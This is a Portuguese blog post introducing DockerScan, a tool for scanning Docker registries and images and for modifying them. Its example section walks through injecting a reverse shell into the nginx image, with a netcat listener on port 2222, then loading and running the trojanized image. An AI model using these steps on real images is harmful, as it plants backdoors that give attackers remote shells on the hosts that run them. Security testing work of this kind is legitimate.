Planejamento de Marketing 2025: Combo de Estratégias para escalar sua presença digital 🚀

DockerScan: análise e hacking para Docker

Publicado em 14/02/2018

Atualizado em 03/06/2024
dockerscan

DockerScan é uma ferramentas de análise e hacking de containers Docker, com ela é possível fazer uma varredura buscando por vulnerabilidades de segurança e também fazer o inverso, injetar vulnerabilidades em imagens Docker, abaixo vamos ver suas principais funcionalidades e alguns exemplos de uso.

Com pouco tempo pra ler tudo? Clica no play e ouça o conteúdo na íntegra!

Principais Funcionalidades

  • Faz scan de uma rede tentando localizar os Docker Registries
  • Registry
    > Delete: Exclui image / tag remota
    > Info: Mostra informações de registros remotos
    > Push: Envia uma imagem
    > Upload: Upload de arquivo
  • Image
    > Analyze
    Busca por informações confidenciais em uma imagem
    Busca por senhas em variáveis de ambiente
    Busca por qualquer URL / IP em variáveis de ambiente
    Tenta identificar o usuário usado para executar o software
    > Extract: extrair uma imagem
    > Info: Obtém meta-informação da imagem
    > Modify:
    entrypoint: altere o ponto de entrada em um Docker
    trojanize: injeta um reverse shell em uma imagem Docker
    user: altere o usuário em execução em uma imagem Docker

Instalando o DockerScan

Vamos ver agora como é simples instalar a ferramenta DockerScan.

Primeiro instale o gerenciador de pacotes da linguagem Python o pip:
1$ python3.5 -m pip install -U pip

Agora instalamos o DockerScan
1$ python3.5 -m pip install dockerscan

Verifique se a instalação foi feita corretamente e exiba as opções de funcionamento:
1$ dockerscan -h

Exemplos de utilização

Agora vamos para a parte legal, por a mão na massa, vamos ver alguns exemplos de como o DockerScan pode ser utilizado:

dockerscan

Com o comando a baixo pode ser escaneada uma imagem para identificar possíveis vulnerabilidades:

1$ dockerscan image info nome-da-imagem

Seguindos os passos abaixo podemos injetar vulnerabilidade em uma imagem Docker. Vamos adicionar um reverse shell neste exemplo:

//Baixe a imagem oficial do nginx
$ docker pull nginx

//Salve uma cópia da imagem
$ docker save nginx -o nginx-original

//Liste o conteúdo do diretório para ver se foi criada a cópia
$ ls -lh nginx-original

//Execute o seguinte comando para ver as informações da imagem
$ dockerscan image info nginx-original

//Execute um ifconfig para saber seu ip
$ ifconfig

//Execute para injetar um reverser shell
$ dockerscan image modify trojanize nginx-original -l 172.18.0.1 -p 2222 -o nginx-trojanized
//Com este comando será criada uma nova imagem com um reverse shell

//Execute em outro terminal para ficar "ouvindo" a porta 2222
$ nc -v -k -l 2222

//Faça o load da imagem com vulnerabilidade
$ docker load -i nginx-trojanized.tar

//Execute
$ docker run nginx:latest

Um reverse shell é um tipo de shell no qual a máquina alvo se comunica de volta à máquina atacante. A máquina atacante tem uma porta ouvinte na qual ele recebe a conexão, que ao usar, o código ou a execução do comando são alcançados.

Isso é tudo por enquanto, no repositório do projeto DockerScan pode ser encontrada mais informações sobre esta ferramenta, se você conhece outras dicas, ferramentas, ficou com alguma dúvida ou tem algo a contribuir, deixe um comentário abaixo. Obrigado pela leitura.

Quer saber mais sobre ferramentas para Docker? Leia este outro artigo do meu colega Daniel Archer sobre como Docker entrou para rotina dele.

O que você achou deste conteúdo?

O que você achou deste conteúdo?

Fernando
Fernando Silva
Especialista em Segurança da Informação na KingHost, mestrando em Ciência da Computação (UFRGS) com foco na linha de pesquisa em Segurança Cibernética, pós-graduado em Segurança Cibernética pela UFRGS, graduado em Análise e Desenvolvimento de Sistemas (ADS) pela Faculdade Senac Porto Alegre. Um dos coordenadores da comunidade PHP-RS, entusiasta Open Source e Software Livre.
Fernando
Fernando Silva
Especialista em Segurança da Informação na KingHost, mestrando em Ciência da Computação (UFRGS) com foco na linha de pesquisa em Segurança Cibernética, pós-graduado em Segurança Cibernética pela UFRGS, graduado em Análise e Desenvolvimento de Sistemas (ADS) pela Faculdade Senac Porto Alegre. Um dos coordenadores da comunidade PHP-RS, entusiasta Open Source e Software Livre.

Compartilhe esse conteúdo com alguém que possa gostar também

Receba todo mês conteúdos
incríveis como esses para
seguir evoluindo

Conteúdos relacionados

No cenário tecnológico em constante evolução, a busca por eficiência, agilidade e entrega contínua de valor se tornou primordial. É nesse contexto que o DevOps emerge como uma abordagem revolucionária, unindo as equipes de desenvolvimento (Dev) e operações (Ops) em prol de um objetivo comum: o sucesso do produto e a satisfação do cliente. Neste...
A inteligência artificial (IA) não é mais uma promessa distante, mas sim uma realidade que está remodelando o cenário do desenvolvimento de aplicativos. A demanda por apps que não apenas funcionam, mas que também aprendem, se adaptam e antecipam as necessidades dos usuários está em alta.  Integrar a IA em seus aplicativos oferece uma gama...
O Google Workspace se tornou uma ferramenta onipresente no mundo dos negócios, mas, além do Gmail e Google Docs, o que realmente o define?  Neste artigo, vamos mergulhar fundo no Google Workspace, explorando seus componentes, funcionalidades e como ele pode ser aproveitado para otimizar o fluxo de trabalho, a colaboração e a produtividade de equipes...
Um editor de código é uma ferramenta de software utilizada para escrever e editar código-fonte de programas. Ele oferece recursos que facilitam a programação, como destaque de sintaxe, autocompletar, verificação de erros, e integração com sistemas de controle de versão.  Os editores podem variar em complexidade, desde opções simples e leves até ambientes de desenvolvimento...

Mensagens para você